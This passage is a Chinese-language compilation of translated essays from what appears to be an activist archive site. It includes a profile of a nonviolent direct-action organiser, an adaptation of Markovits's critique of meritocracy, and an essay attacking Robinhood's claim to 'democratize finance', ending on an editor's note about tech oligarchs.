“当你以这种方式和人们在一起时，当你们真正团结在一起时，生活就会改变”，她说，“你不再有孤独的恐惧。”

迷失在新的世界里

「图」

艾玛·施恩伯格，二十七岁，是一名非暴力直接行动组织者和培训师，住在佛蒙特州的伯灵顿。2019年9月28日，在炎炎烈日下，她带领一群五十多人的游行，在歌唱中前进，非暴力抗议者们（本文作者也在其中）来到新罕布什尔州燃煤发电厂没有围栏的后门，我们在水泥障碍物后面遇到了一排警察。

数百名支持者聚集在工厂的正门外。在工厂内，一排穿着全套防暴装备的州警准备迎接我们。一架警用直升机在上空盘旋。艾玛叫我们围拢过来，单膝跪下。她让我们记住我们为什么在那里，是什么促使我们采取这种行动，我们一起训练的目的是什么。

她让我们环顾四周，看着彼此的脸，看着彼此的眼睛。她问我们是否准备好向前走了。答案是一致的。我们站了起来，我们互相搀扶着越过障碍，我们紧握双手，我们慢慢地、故意地走向警察。艾玛，她是白人，身材矮小，留着一头乌黑的长发，走在最前面，是第一批被捕的人之一。我们中的许多人都穿过了障碍物，并在工厂内遇到了更多

的防暴警察。那天总共有六十七人被捕。

艾玛在佛蒙特州的蒙彼利埃长大，一辈子都住在维诺斯基分水岭。那年10月，我们聊了很久，2020年7月，她从缅因州波特兰市回来时，我们又聊了一次。她的声音是一种平静的、旋律优美的中音：

我是在一个非常无神论者的环境中长大的， 但在过去的几年里，我一直对自己的犹太教身份感到好奇， 因为这是我的文化。在我父亲的身边，我的曾祖父母和祖父母都是这些贫穷的纽约市犹太人，是最早的社会工作者。

我的父亲是一个心理学家。我在标准的中产阶级环境中长大。我记得，在上高中的时候，我对财富感到尴尬，我不想让别人看到我家的房子或我父母的车。当我上大学的时候，在佛蒙特大学，我才知道，其实我家也只是中产阶级，世界上还有比我富裕得多的人。

我是学习农业的，就像土壤科学和生态可持续农业那种。然后突然占领运动来了，这场运动以一种非常真实的方式展现了这个世界的不公正。当时我是一个大二学生， 我就坐在这个嬉皮士宿舍里， 我在电脑上看到占领运动的展开， 三天后，我已经是占领华尔街的一员了。占领运动带给我很多知识，作为一个无政府主义者我深刻认同它。

当我回来的时候，我徘徊在“占领伯灵顿”的第一个晚上， 我帮助在市中心的一群人建立了营地。这持续了将近一个月。那时候我就辍学了，我对学校那些共识和促进，还有那些晃动的手指，如果你还记得的话，感觉真的很厌倦。我做了一些旅行，教其他营地如何使用行动技能。大学永远不会教给你这些东西。

而占领运动教给了我们一切。

占领运动的战术和运作方式最终消失了，被我这个年龄段的人以及占领区的很多人抛弃了。我想了很多， 如果我们当时找到了导师，会是什么样子。我想人们从那个运动中走了出来，带着羞愧和尴尬。因为这是一件巨大的议题，而我们并没有取得任何立竿见影的成绩，人们认为这是一个失败。我多年来都不好意思提占领运动的往事。我们需要导师。我们需要被扶起来。

很多人认为，当我们集体出现时，那就是集体的力量。但实际上，只有当人们利用内部力量进行行动时、当人们相互交流并共同采取行动时，才是真正的集体力量 ……

那年7月，艾玛帮助组织了一个波特兰无住房者的营地。她在回伯灵顿的路上和我说话：

我来到波特兰看望我的朋友杰伊， 他邀请我参加一个抗议，在市政厅外面的无家可归者抗议。然后就变成了一个营地，我一直在进行培训，帮助医务人员，给毒品成瘾者穿鞋。

我们今天早上刚刚会见了波特兰市长，因为有具体的要求：设立预防吸毒过量的网站、不会被刑事化的露营、延长驱逐期限、经济适用房倡议，实际上是与无家可归者协商。

BLM组织曾有一次集会，就在我们旁边。他们通过游行来到市政厅，到了台阶上。那些年轻的黑人活动家说："这些无家可归者的斗争就是我们的斗争"。 那是一个强大的时刻。

这是发生在冠状病毒时代里的互助。这就是"占领"，从这些营地实现的社会服务来看。第一天早上警察就出现了，他们想解散营地，因为他们听到了吸毒的报告，这时我们告诉他们，我们有医护人员、食物、水、心理健康服务和康复人员，都已经在营地了。

那么，什么是团结？团结是一种援助，创造了一个新的世界，也许就是警察的替代品。它可能不像我们唱"永远团结"时所期待的跨领域或政治团结。但在 *达成团结* 的许多时刻，人们都有一种感觉，这与人们 *宣誓团结 *时的感觉大不相同。

团结不是服从。当我们在活动家圈子里谈论团结时，有一种服从的假设，比如，一套新的规则，应该是强制的和控制性的，盟友可以做和不能做的事。那是规则，不是团结。

占领运动诞生于意识形态， 而这个营地诞生于生存—— 就是字面上的意思，因为无家可归者正在死亡。

团结，就像，那个徘徊的女人，她的名字是 Louellen，有人形容她是"迷失者"之一， 你知道，精神分裂症的老人都是那样，喃喃自语地走在人行道上， 你无法让他们回来。她严重脱水， 她坐在医疗帐篷里几个小时。我和她坐在一起。也许是凌晨一点，有两个人，一个是医护人员，一个是志愿者，其中一个人解开了她的头发，慢慢地梳理着。而另一个，医护人员，这个前陆军退伍兵，正在帮她洗脚。

○□

原文

生活如何变成了一场无止境的可怕竞争？精英政治的圈套 - iYouPort

其他社会反抗和思考

精英政治奖励成就高于一切，它使所有人都陷入悲惨 —— 包括富人。究竟有没有出路？

「图」

「图」

1987年夏天，我从德克萨斯州奥斯丁市的一所公立高中毕业，不久后离开家前往东北方向的耶鲁大学报道。

接下来，我花了将近15年时间辗转多所大学念书—— 先是伦敦经济学院、接着是牛津大学、哈佛大学，最后是耶鲁法学院，一路走来攒了一大摞学位证书。

今天我在耶鲁法学院教书，这里的学生和我年轻时一模一样，相似度令人头皮发麻：他们无一例外都是精英家长和一流大学的产物。

我传授给他们的东西是一种社会优势，而这份优势正是多年前我的老师们授予我的。

我的老师、我的学生和我自己，都应该把自身的经济优越与社会地位优势归功于精英制度。

在20多年前，当我刚刚开始写关于经济不平等问题的文章时，社会精英制度似乎更像是一种解决方案，而非问题根源。

早期提倡施行精英制度的学者，认为这将有助于提高社会阶层的流动性。

比如在上世纪60年代，时任耶鲁大学校长的 Kingman Brewster 就率先采用了"精英准入原则"，此举的初衷是杜绝精英阶层的世袭可能

性。

在当时，耶鲁大学的校友们都信心满满，认定自己的儿子一生下来就有了入学耶路的权利，但新的入学政策看重的是学生的成就而非血统，这就让那些真正有潜力的学生有了入学机会。

在相当长的一段时期内，社会精英制度把那些有天赋又肯吃苦的新人引流到各个圈层，替代了那些曾经心高气傲的圈内人士。

时至今日，精英阶层仍然宣称自己是用才华和汗水换来的进身之阶，这些手段对任何人都是公开、公平的。

但事实上，今天的精英阶层已经把任何不符合狭义精英标准的人排除在圈层之外了。

哈佛大学、普林斯顿大学、斯坦福大学和耶鲁大学都出现了同样的招生现象，从那些家庭收入水平位列金字塔顶端1%的少数家庭中招收更多的学生，而且人数"远远超过了从收入处于金字塔底部60%"的大多数家庭中招收的学生人数。

- 《Mobility Report Cards: The Role of Colleges in Intergenerational Mobility》

「图」

「图」

遗产优先权、任人唯亲、营私舞弊等等贪腐手段继续为那些有钱人家的入学申请者大开方便之门。

之所以权利再度向财富倾斜，其主要原因仍然与精英制度有关。

根据美国大学理事会（The College Board）的统计，如果对比父母年收入超过20万美元的家庭以及年收入只有4万～6万美元家庭，富有家庭子女的学术能力评估测试（SAT）平均分数，比贫穷家庭子女的平均分数高250分。

对于那些年收入排名在倒数三分之一区间的家庭，每200名考生只有1人的SAT分数可以达到耶鲁大学录取分数的中间值。

与此同时，那些顶级银行、律师事务所以及那些高薪企业几乎只招收精英大学的毕业生。

- 《Total Group Mean SAT Scores》

根据另一项研究，吃苦耐劳的圈外人已经享受不到真正的机会了：如果把家庭收入水平等分为5个等级，最贫穷的第五级阶层中，每100个孩子之中只有1人能最终获得成功，跻身到收入水平前5%的金字塔顶端。

相比较而言，对于那些收入等级在中间的第三级家庭，每50个孩子之中几乎就有1人能攀登到收入金字塔顶峰。

另外，绝对经济流动性也在下降，自上世纪中叶至今，中产阶级家庭子女在收入能力方面超过父母的可能性下降了一半还多，在这一点上，中产阶级家庭的下滑比贫困家庭更严重。

对这些现象，精英制度的回应是将其定义为一种失败，或者某种无法达标的结果，其本质就是在经济损失的现象上涂抹了一层道德羞辱。

- 《THE FADING AMERICAN DREAM: TRENDS IN ABSOLUTE INCOME MOBILITY SINCE 1940》

经济不平等往往引发愤怒情绪，而大众习惯于把矛头对准精英制度建立起来的社会体系。

皮尤研究中心通过调查发现，将近五分之三的共和党人认为如今的大学和专科学院对美国有害。

今年年初，美国多家大学被爆出招生丑闻，自此，普遍存在的强烈公愤进一步恶化，转变为一种深刻的憎恨情绪。

公众当然有理由感到愤怒，但如今这种愤恨也是极度扭曲的。

公众当然可以对任人唯亲感到愤怒，也可以对其他丑陋的精英阶层特权感到愤怒，然而正是这种愤怒无形中抬高了精英理想体系的价值。

当然，精英制度本身才是更大的问题，因为它正在瓦解美国梦——在精英制度创造的竞争中，就算所有人都守规矩，最后的赢家仍然是富人。

但是，精英阶层到底赢得了什么呢？如今，精英制度的受益者也在为自身的需求付出惨痛代价。

正如那些设法跻身上流社会的局外人都必须高强度地工作，富人们为

了在圈层之内栖身不得不通过极端昂贵的教育支出获得相应回报，精英制度无情地让富人落入这个圈套，正如它无情地把其他人排挤到精英阶层以外。

不是说让你为了富人的遭遇掉眼泪，但富人正在遭受精英制度带来的伤害，这不仅是个事实，而且也很能说明问题。

我们总是习惯性地认为缩减不平等就意味着削减富人的利益，但如今的情形并非如此—— 由于造成了不平等结果的精英制度并没有真正服务于任何人，因此，逃离精英体系的陷阱将最终让所有人受益。

「图」

「图」

对于精英阶层来说，他们早在幼儿阶段就开始面对精英制度带来的压力。

父母并不会让孩子在幼年时接受以实验、游戏为主的教育，而是过早地让孩子接受那些重复训练、积累人脉的教育，这些都是进入精英大学并获得精英工作的必要条件。

尽管父母有时也很不情愿，但终究还是感到自己别无选择。

在纽约、波士顿、旧金山等城市，那些收入颇丰的父母普遍要替孩子向10家幼儿园投递入学申请，还要准备应付一连串的作文考试、评估测试还有面试—— 别忘了，所有这些测试都是为了对年仅4岁的儿童进行评估。

当然，申请入学精英小学、中学和高中时还会一遍遍重复这一切。

即使进入这些学府气氛也并不轻松，贵族子弟曾经在这里享受着特权自我陶醉，如今，精英阶层的后代不得不谨慎计算着自己的未来。

这里的孩子盘算着计划和日程，这里的舞台上演着精心编制的才艺表演，这里的生活重复着一个熟悉的节奏，总有野心、偶尔期待、很快焦虑。

精英学校也鼓励学生们顺应这样的节奏，比如，在美国东北部的一所精英小学里，老师提出了一种名叫“每日问题”的任务，学生们必须在放学回家之前解决这个问题，然而老师却没有个这项任务单独安排时间。

而这项练习的意义，就是训练这些五年级的小学生学会牺牲休息，挤出更多时间处理工作事项。

这类硬性要求的确付出了代价，今天美国的精英中学、精英高中通常要求学生在晚上花费3到5个小时写作业，对此，美国疾病控制和预防中心（CDC）的流行病学家曾经提出过警告，认为课业负担将导致睡眠不足。

更可怕的是，在全美范围内，富人阶层的孩子们比贫穷的同龄人有着更高的吸毒、酗酒概率；他们患上抑郁症、焦虑症的概率高达同龄人的**3**倍多。

2015年，圣路易斯大学医学院的儿科医生、斯图亚特·斯莱文教授对硅谷欧文顿高中的2100名学生进行了不记名调查，结果令人震惊：

54%的学生表现出中度到重度的抑郁症症状，不仅如此，还有高达**80%**的学生表现出中度到重度的焦虑症症状。

尽管如此，这些学生们仍然有不少理由继续逼迫自己沿着这条路走下去。因为在几十年前，这所高中毕业生的精英大学入学率曾经是30%，如今已经降至10%甚至更低。

某些特定大学的入学率骤降趋势尤其明显：就在1995年，该高中毕业生申请芝加哥大学的入学率曾经高达71%，到了2019年，这个数字连6%都不到。

步入职场后竞争只会愈演愈烈，因为在职场中只有不断竞争才有可能抓住一个超越其他精英的机会。

但问题是，当一个人的财富和地位只来自其人脉关系，那么此人在选择工作和事业的时候就不可能从自身的兴趣和热情出发。

不仅如此，如果此人还希望自己的收入足够支持孩子接受精英教育，并通过孩子的教育进一步巩固自己在精英阶层的地位，此人必须把工作视为一种人脉资源的变现渠道，而且只能在一个窄小的范围内选择金融、管理、法律和医疗相关工作，并且把自己的全部精力投入到这份工作之中。

于是一件奇怪的事情发生了：尽管这些当代贵族本人都自认为生活在一个条件优渥的安逸阶层，但如今的精英们正顶着前所未有的强度拼命工作。

「图」

「图」

1962年，当时的精英律师们收入可能只有如今同行的三分之一，但是美国律师协会骄傲地宣布，美国的普通律师“平均每年的收费工作时长为1300小时。”

相比之下，到了2000年，一家大型律师事务所曾经同样信心满满地宣布，公司旗下的律师每年的带薪工作时长高达**2400**小时。

不过这一次，他们还加上了不少委婉的定语修饰：“如果时间管理得当的话”、“这并不是不合理的”、“投入这样的时间精力才有望找到合伙人开展自己的事业”。

然而，由于律师的工作性质，并不是投入的所有工时都可以算作计费工时，因此所谓的每年2400小时的带薪工作也就意味着公司可以轻易要求员工从早8点工作到晚8点，每周工作6天，全年无休假、无病假、无公休。

在金融行业情况也是如此，比如“银行家工时”（Bankers’ Hours）这个说法，最早出现于十九世纪，指的是银行的营业时间，也就是一天中的上午10点至下午3点，直到二十世纪中叶银行的营业时间都没有任何变化，因此，在上世纪这个词就变成一个戏称，指代任何轻松的工作。

如今，这个词仍然广为流传，但其含义变得更讽刺了，如今这个词还有另一种说法，是“银行家的9至5工时”（Bankers’ 9-to-5），指的是从上午9点开始工作，直到第二天的凌晨5点下班。

再说说那些精英管理层。在上世纪50年代，他们曾经被称为“组织的化身”（Organization Men），意思是企业中被等级制度保护着的高层人士，其资历的重要性远远高于绩效。

如今，一个人在企业中爬得越高，雇主也就越是要求此人吃苦耐劳。比如亚马逊公司提出的“领导原则”，要求经理们保持“坚持不懈的高标准”，并且时刻做到“交付成果”。

"该公司告诫那些管理层的经"理们：当你们在工作中“撞到了一面墙”时，唯一的解决方案就是“爬到墙上去”。

在一项2005年的调查中，那些每周工作60小时以上的美国人表示，

他们希望平均每周可以减少25小时的工时。

他们认为工作让自己陷入了一种“时间饥荒”，是工作阻碍了他们与配偶和孩子建立牢固的亲密关系，另外，工作并不利于他们维系家庭，甚至让他们的性生活不尽如人意。

在最近一次哈佛商学院的调查中，一位高管回答问题时自豪地表示：“我每晚和孩子共处的10分钟非常有意义，与其把这10分钟花在工作上，花在孩子身上能发挥出100万倍的价值。”等等……每天竟然只有**10**分钟！

如何优雅地承受如此巨大的工时压力？或者，至少做到面不改色地迎接漫长的工时？这样的问题已经成为了精英阶层的成功标准。

社会学家Arlie Russell Hochschild 在她的著作《时间绑定》（//The Time Bind//）中有一段面对某大型企业高管的采访，根据这位高管的观察，那些既有野心又能够证明自身能力和奉献精神的经理们，最终还是会面临一次“终极淘汰”：“有些人会把自己燃尽，因为他们一直在工作所以变得越来越奇怪……然而那些最顶部的人非常聪明，他们既能保持疯狂地工作，也能保护自己不会燃烧殆尽，他们仍然能保持良好的精神状态，仍然能维系家庭生活—— 只有这样的人最终赢了比赛。”

当一个人只能从自身的人脉资源中获得收入和社会地位，反过来说，也恰恰是被囚禁于那个关系网，直到把自己耗尽—— 对于那些精英学生，越是害怕失败，就越是渴求传统意义上的成功标志，哪怕他们很清楚那只是个符号，也开玩笑嘲笑那些东西是孩子才喜欢的“五角星”、“闪亮的小装饰”；而精英体系中的员工将越来越清晰地认识到，无论是真正的热情还是生命的意义感，想要通过工作找到这些东西都无限接近于不可能。

就这样，精英体系把一代人拖入陷阱之中，既害怕从社会阶梯上跌落，又被虚假的野心隐隐怂恿，就好象一头永远饥饿的野兽，从未找到真正的食物，也从不清楚什么才是真正的食物。

「图」

「图」

精英阶层不应该也无权祈求同情，那些被排除在阶层特权与利益高楼之外的人不会对他们产生任何同情。

但是，当前精英体系统治之下富人同样是受压迫的一方，如果忽视这一点必将是个重大失误。

主导着当今社会的富人并不轻松，而是正在拼尽全力。

我们熟悉过去那个贵族时代的社会不平等，也成功打破了当时的社会不平等，但是我们所熟悉的那些情形并不适用于今天的这个经济体系，如今这个不平等的体系恰恰建立在奖励努力与技能的基础之上。

其结果就是，一个每周工作上百个小时的银行家只能换来人们的信任，相信自己不是个赚取民脂民膏的投机倒把主义者。

如此说来，如今富人付出的努力实际上也没有得到相应的回报。

富人会比你想象得更容易接受这个论点，因为精英阶层自身所处的那个精英陷阱也正在收紧袋口，越来越多的富人开始反对精英体系本身，相信你已经能听到祈求工作、生活重获平衡的呼声越来越急迫了。

大约有三分之二的精英阶层员工表示，如果升迁意味着新的工作要求他们付出更多时间，那么他们会直接拒绝升迁。

当 Larry Kramer 在斯坦福法学院担任院长时，曾警告毕业生，那些顶尖律师事务所的律师们似乎陷入了一个无休止的悖论：想获得更高工资就需要年轻的律师付出更多时间以增加计费工时；但是要投入更多的工时，又需要得到更高、更合理的工资回报。

Kramer 感叹道：这个体系到底是在为谁服务？有任何一方真的愿意生活在这样的体系之中吗？

想要摆脱这个精英体系的陷阱并不容易，精英阶层自然会抵制任何有损自身权利、威胁其利益的政策。

但是需要认清现实：单纯从自己的人脉资源中获得财富是不可能的，更重要的是开发自己的潜力，提升内心的生活质量而非物质生活。

那些期望从目前精英体系中分一杯羹就抽身脱离体系的人，实际上也是在自欺欺人。

想让精英阶层放弃对自身社会地位执念，唯一的方法是让更广泛的人群能获得社会中良好的教育机会、良好的就业机会，这样一来，攀登某种社会地位的金字塔就变得没那么重要了。

然而真正的问题在于，如何实现这样的社会呢？

首先，教育必须变得更开放、更包容，而如今的教育主要关注富裕家庭中那些接受奢侈训练的孩子，并以他们作为自身的利益。

如果私立学校和大学无法做到从那些收入分配末位三分之二的家庭中至少招收一半的学生，那么就不应该继续享有免税特权。

同时，应该通过公共补贴的方式鼓励学校达到这样的要求，扩大招生。

与此同时，还应该推行一项平行政策，支持那些不包含复杂培训的行业，也支持那些没有高等学历的员工。

比如，卫生保健体系应该进一步强调公共卫生、预防保健的重要性，以及其他由执业护士主导的卫生事业，而不是一味强调那些需要专业医生以及高科技治疗的卫生领域。

另外，法律系统应该增设“法律技术人员”，因为很多日常事务并不需要考取法学博士才能经手管理，比如房地产交易、简单的遗嘱，甚至是无争议的协议离婚。

在金融领域，限制外来金融项目、支持本地小型银行的政策可以帮助那些拥有中等技术的工人获得工作机会。而企业的管理者应该把控制权下放到主管级以下，提高公司其他员工的决定权。

解决精英体系带来的不平等问题，其障碍不来自于技术，而是政策。

如今的情况正在引发更多的不满，更普遍的悲观，也让人不断逼近绝望的边缘。

政治学家 Jeffrey A. Winters 在他的著作《寡头政治》（//Oligarchy//）中研究了从古典时代（Classical Antiquity）到20世纪人类的多个文明、社会，并记录下一旦财富被集中在狭隘的精英阶层中社会将发生什么后果。

几乎在每一个案例中，这种不平等所带来的割裂都会引发社会的崩溃，其形式可能是军事上的失败（比如罗马帝国），也可能是引发革命（比如法兰西王国和俄罗斯帝国）。

尽管如此，我们还是有理由对未来心怀希望的。因为历史上的确有一些积极的案例，社会和文明可以从财富集中的不平等状态中复苏，比

如上世纪20年代和30年代的美国，政府以罗斯福新政应对大萧条，也带动了一批中产阶级家庭成长，最终成为上世纪中叶美国的核心支柱。

重要的是，在这一过程中起到主引擎作用的，并非政府的重新分配政策。罗斯福政府建立起来的普遍繁荣，其基础来自于一个劳动力经济市场，正是这个市场促进了经济平等，遏制了等级制度—— 比如，通过《美国军人权利法案》（GI Bill）大幅度增加受教育机会，另外，促使中等技能的中产阶级工人在生产中扮演核心角色。

面对今天的局面，我们仍然可以将这个法案进行更新迭代并投入施行，重新增加受教育机会，重新加强中产阶级劳动者的作用，这两方面的政策可以相互支持。

与此同时，只要收入和社会地位的下降仍在可接受的范围内，精英阶层也终于能够再次享受到应得的休息。

不仅如此，中产阶级也可以重新获得相应的收入水平和社会地位，并再次支撑起美国人的生活。

重建民主的经济秩序势必困难重重，但是经济民主将给每一个人带来益处，值得我们为之努力。

放任现状愈演愈烈只能导致悲剧与崩溃，这样的未来让我们别无选择，只能尝试改变。

//This article// is adapted from Daniel Markovits's new book The Meritocracy Trap. It appears in the September 2019 print edition with the headline "Meritocracy's Miserable Winners."

原文

用 “民主化” 装13的骗子 - 所谓的 “金融科技” 是个什么东西？ - iyouport

社会反抗和思考

【2021年6月3日存档】不平等是结构性问题，所谓的 “市场化解决方案” 只是亿万富翁阶层为了能继续剥削你而构建的骗局

2018年，前《纽约时报》专栏作家弗兰克·里奇在《纽约》杂志上发表了一篇宣言，其内容既粗俗又宏大。在感叹美国在大衰退后的状态时，里奇宣称，“2008年，美国人已经不再相信美国梦了”。

对于那些早已对这种事失去信心的人来说，很容易看出里奇—— 这个可靠的建制派自由主义语话的晴雨表—— 在那篇文章中透露出的东西：他对美国人民的了解要比他对自己的了解少得多。作为白人和受过良好教育的里奇是战后经济繁荣的产物，直到中产阶级和上层阶级的繁荣被美国例外主义的兴起所取代。但对许多千禧一代和Z世代来说，2008年到来之前，他们几乎无法想象作为一个美国人意味着什么，因此，这一年不是梦想的结束，而是噩梦的开始。

被承诺的家、工作、医疗保健，许多千禧一代目睹了他们的父母被当时太过抽象的力量抢走了所有这一切。肩负着大学毕业后的沉重债务，最新一代的年轻成年人开始了在萎缩的劳动力市场上寻求就业的勉强任务。雪上加霜的是，当他们由于较少的储蓄导致较少的消费时，美国公司立即指责是千禧一代 “扼杀” 了到2009年经济已经半死不活的各个行业。

因此，美国千禧一代对金融业的微薄信任，很快就被科技巨头的世界所吞没，这并不奇怪。仅在2007年到2009年，就为我们带来了Airbnb、Uber、Groupon、Dropbox、Glassdoor、WhatsApp、Fitbit、Indiegogo 和 Netflix 流媒体，这些都是在大衰退的灰烬中形成的。

但是最终，蛇吃了自己的尾巴，周而复始。大约五年时间，当 “金融

科技” 应用开始从硅谷的肥沃土壤中萌芽时，金融迎来了一次吉祥的重振。

“金融科技” 这个词组被用来定义一类新的初创公司，它们为金融和科技之间架起了桥梁。像 Acorns、Digit、Stash 等应用，以及其他一些单字名称的应用，推出了丰富多彩的、用户友好的界面，提供 “非银行” 服务，帮助年轻人进行储蓄和投资，迅速将这种做法重新命名为 “简单有趣的低风险游戏”。

也许这种转变的标本在2015年才真正到来，当薄荷色、羽毛装饰的投资应用 Robinhood 在筹集了1300万美元并获得了近百万人的等候名单后，像一匹珍贵的小马一样被捧到了移动市场上。有趣的是，Robinhood 宣称自己有着鲜明的意识形态使命：“让金融民主化”。但是，就像同名的中世纪英雄一样，它的使命不过是一个神话。

乍一看，Robinhood 的仁慈似乎很有道理。这款应用标榜 “零佣金”，没有最低余额，并向 Robinhood 的新用户提供免费股票作为注册的福利。

这家初创公司三十四岁的联合创始人弗拉德·特涅夫（Vlad Tenev）是一位来自保加利亚的斯坦福大学毕业生，他的苏联时代的根基让他对自由放任的资本主义有了一个决定性的浪漫概念，他曾经在广告中滔滔不绝地谈论 Robinhood 的变革潜力。

“对于 Robinhood 来说”，他在2017年接受 Thrive Global 采访时说，“最终目标不是要成为另一家经纪公司，而是要创造一个人人都能利用的最有利可图的财富创造形式的世界”。在今年CNBC的一篇专栏文章中，特涅夫敢于（或愿意）重新定义美国梦，“成为投资者就是新的美国梦”，特涅夫的标题写道，“就像以前的房屋所有权那样”。他解释了 Robinhood 起源的所谓道德动力：

虽然从理论上讲，市场对每个人都是平等开放的，但是，有些人有更好的机会、更好的工具和更明确的参与邀请；而其他人则被挡在了门外。只有*10%*的美国家庭持有*87%*的股票总价值，几乎没有一半的美国家庭参与股市。

我们在 “占领华尔街” 运动之后构思了 *Robinhood*，目的就是要让这种竞争环境更加公平。我们率先推出了免佣金，使数百万得不到充分服务的人能够更多地参与经济活动，并为塑造自己的金融未来做出选择 ……

特涅夫将“占领运动”归结为 **Robinhood** 的道德灵感，揭示了该公司神话的软弱性：它为一个结构性问题提供了一个表面化的解决方案 —— 你会发现，根本没有占领运动示威者谴责佣金是华尔街最堕落的放纵之一。

如果说从“占领行动”的所有战略混乱中可以学到什么的话，那就是，财富不平等是一个结构性问题，其纠正需要结构性的解决方案。对金融“民主化”的要求并没有被摆在桌面上，因为经济不平等的金融机制就其本质而言就被认为是不民主的。

虽然占领运动组织从未提出正式的要求清单，但是通常被引用的要求包括某种形式的工资保障、取消债务、充分就业、和全民带薪病假。这种事当然需要联邦采取行动。**Robinhood** 所提供的属于我们可以称之为“市场化解决方案”的范畴 —— 也就是说，亿万富翁阶层大肆鼓吹的非结构性解决方案，不仅目光短浅，而且往往只是为继续剥削你的骗局。这种骗术已经发生过了。例如，特许学校一直被比尔·盖茨夫妇以及沃尔顿家族基金会吹捧为“解决教育不平等的私有化灵丹妙药”；然而，10年后，很明显，它们从公立学校中抽走了大量的资金和资源，使不平等现象长期存在，甚至更加严重。

基于市场的解决方案也掩盖了系统性不平等的根源。例如，Robinhood 向其用户暗示，财富实际上就在他们的指尖上；这种误解使人们对经常被宣传的所谓“自力更生”论有了微妙的理解——“只要你付出足够的努力，你就能通过投资来摆脱贫困！”特涅夫承认美国的股票所有权分布不对称，或许是在暗示那些处于财富最高层的人如何以牺牲他人的利益为代价来积累令人震惊的资本水平。但是这种不对称再一次不是对人民获得财富管理权的评论，而是对收入不平等的评论。毕竟根据**2017**年的一项调查，**78%**的美国人靠工资生活，**71%**的人生活在债务中。当绝大多数美国工薪阶层没有收入可供储蓄的时候，零佣金将使金融“民主化”的虚伪神话掩盖了市场参与的真正障碍。

不仅如此，Robinhood 还提出，市场参与对于一个更加平等的社会来说必然是可取的。但是，正如雅各布·西尔弗曼在《新共和》中所指出的那样，“人们应该认识到，金融资本主义在很大程度上与民主运动格格不入，更不是这个危机交织的时期所需要的那种互助和平等主义。我们不应该把对冲基金的逍遥法外传播给更多的人，也不应该试图游戏市场。我们应该打破它。”

原则上讲，市场参与在很大程度上是不民主的，因为它允许第三方僭取按理说应该属于工人的资本，而工人的时间和劳动正是用来建立或

维持这些资本的。虽然许多工人确实拥有他们所工作的公司的一点点股份 —— 例如，据2014年的估计，只有不到20%的私营部门工人属于这一类别 —— 但是，当单个股东在某一公司拥有不成比例的股票时，该公司就不愿意为其所有股东提供平等服务了。工人的利益被认为远没有利润重要。

此外，Robinhood 所促成的那种市场参与，显然也没有什么好处。例如，众所周知的事实是，绝大多数日间交易都是亏钱的。那么，打开闸门，让每个人都把自己塑造成椅子上的投机者，只能是扩大已经存在的财富差距，并给先天不稳定的金融系统增加更多的冲动。Robinhood 的愿景让人联想到一种狂野西部式的竞争环境，在这里，人们可以赚大钱，也可以亏大钱。但真正的金融民主，如果有的话，应该是要求尽可能地隔离这种损失。

除了它的起源，最近围绕 Robinhood 发生的事也让人们清楚地认识到该公司的愿景到底有多虚假。去年12月，马萨诸塞州的监管机构对 Robinhood 的投资 “游戏化” 提出了投诉，指控该应用在没有告知投资者风险的情况下，诱使人们进行交易，从而推卸了对缺乏经验的投资者的信托责任。许多赌博和成瘾方面的专家指出，Robinhood 的时尚平台—— 提供 “刮刮乐” 式奖励，显示大的 “买入” 和 “卖出” 按钮，并在屏幕上喷洒数字纸屑以庆祝交易—— 应该调查其对没有经验的用户进行掠夺的可能性。在接受 Insider 采访时，Robinhood 的另一位联合创始人 Baiju Bhatt 驳斥了 “年轻人即使面对金融不稳定也应该谨慎投资” 的观点：

有更多的人是靠薪水工作的。我们认为这是一个需要解决的更重要的问题 …… 所以我们对他们说，有很多投资的部分，可能会让你感到困惑。我们认为，我们能对这些人说的最好的事就是 “去做就对了”。

该公司的细则说，它为“自我指导” 的客户提供服务，不提供投资建议。那么，在去年的前三个月，Robinhood 的客户买卖期权合约的速度是 Charles Schwab 的客户的八十八倍，几乎不需要任何凭证，这也就不足为奇了。一些年轻的交易者已经在该应用上毁掉了自己的经济生活；甚至有一个人在账户显示负余额73万美元后自杀身亡，部分原因是交易不完整。根据《纽约时报》去年7月的报道，Robinhood 的平台在之前的四个月里已经崩溃了四十七次。3月份，由于股价暴涨然后下挫，它在一周内下跌了三次。

去年，在美国证券交易委员会（SEC）监管机构指控该公司隐瞒其收入模式的性质后，Robinhood 以6500万美元的价格达成和解。虽然

该公司利用一种被称为 “订单流支付” 的复杂程序拉动了绝大部分收入—— Robinhood 有效地从做市商处获得了他们执行的每笔交易的报酬—— 但这并没有在他们的网站上明确标注。事实上，从2015年到2018年，该公司在他们的在线常见问题中对 “Robinhood 如何赚钱？” 的回答中根本没有提到订单流支付。

最近，特涅夫被传唤到众议院金融服务委员会，为其在 Robinhood 用户大队协调对华尔街大佬进行报复性空头打压后对 GameStop 实施的交易冻结道歉。在听证会上，特涅夫声称，“Robinhood 团队不得不与[其]相关清算所合作，调整交易日的风险状况，以满足[其]抵押品要求”。然而，就在那几周前，特涅夫在接受CBNC采访时曾表示，“不存在流动性问题”，停止交易是 “先发制人” 的，这与该公司在国会面前的说法相矛盾。

虽然 Robinhood 宣称通过 “民主化” 的创富工具为客户代言，但它对争议的亲和力却描绘了一幅完全不同的画面。它表现出的模式是保密而不是透明，疏忽而不是细心，很可能是因为它受惠于机构鲨鱼而不是散户小鱼。但这就是所谓的基于市场的解决方案所产生的结果，其既得利益就在于维持不平等的现状。

尽管从金融技术的土地上涌现出所有的 “创新” 承诺使用方便、进入门槛低，但是自2008年的灾难性影响以来，经济不平等方面几乎没有任何改变。高收入者与工薪阶层之间的差距只会越来越大。虽然像 Robinhood 这样的金融科技应用可能增加了少数幸运儿的财富，将他们推向了他们无法想象的 “成功“ 水平，但是，这种轶事并不能抹杀一个事实，即 股市总是把最大的船抬得最高。那么，只要像 Robinhood 这样的应用程序被委托提供 “平等”，就不会有涨潮。○

Con Men in Tights

原文

看不见的黑手：自动化未来的政治 - iyouport

你应该了解的现实你我的灾难现实社会反抗和思考

【2020年9月9日存档】您所依赖的东西，就是能控制您的东西。你甚至看不见它们，也正因此，无力抵抗……

编者按：我们曾经说中国社会可能难以理解数字殖民的概念，至少不会像全球南方国家那样理解；中国就是殖民者之一。

但这只是宏观的描述。数字殖民这一概念必须被扩充到微观层面，关于，如今究竟谁是这个世界的真正统治者？万能的操纵者，所有人类都在他的控制之下？不，不是某个政府，不是某个间谍机构，也不是某些政客，而是，数字技术 —— 准确说是控制全球的技术寡头：FATBAG（FB Amazon Tencent Baidu Alibaba Google）。中美均分。

